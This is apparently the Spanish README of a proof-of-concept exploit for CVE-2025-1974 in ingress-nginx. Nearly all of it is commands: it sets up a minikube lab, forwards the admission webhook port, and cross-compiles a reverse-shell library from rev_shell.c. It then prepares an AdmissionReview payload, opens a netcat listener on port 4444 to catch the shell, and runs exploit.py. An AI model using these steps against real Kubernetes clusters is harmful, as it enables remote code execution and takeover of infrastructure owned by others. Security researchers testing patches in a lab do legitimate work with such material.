
CVE-2025-1974 PoC código
Instalar minikube para las pruebas locales
minikube start --driver=docker
Configurar el ingress-nginx-controller con el siguiente comando
kubectl apply -f ingress-nginx-controller.yml
Verificar que los Pods estén funcionando correctamente
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
Reenviar los puertos 80 y 8443 (webhook) de los Pods a los puertos locales 8888 y 1337 (Se necesita el reenvío de puertos tanto para 80 como para 8443)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
Cambiar la IP y el Puerto de la conexión reverse shell en rev_shell.c
Compilar en entorno MacOS (arm64), se necesita compilar según el entorno de prueba
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# Instalar compilador cruzado
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
Convertir a formato AdmissionReview con kube-review (json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
Preparar la conexión reverse shell con nc
nc -lv 4444
Modificar el host y puerto de nginx y webhook en exploit.py y ejecutar
python3 exploit.py
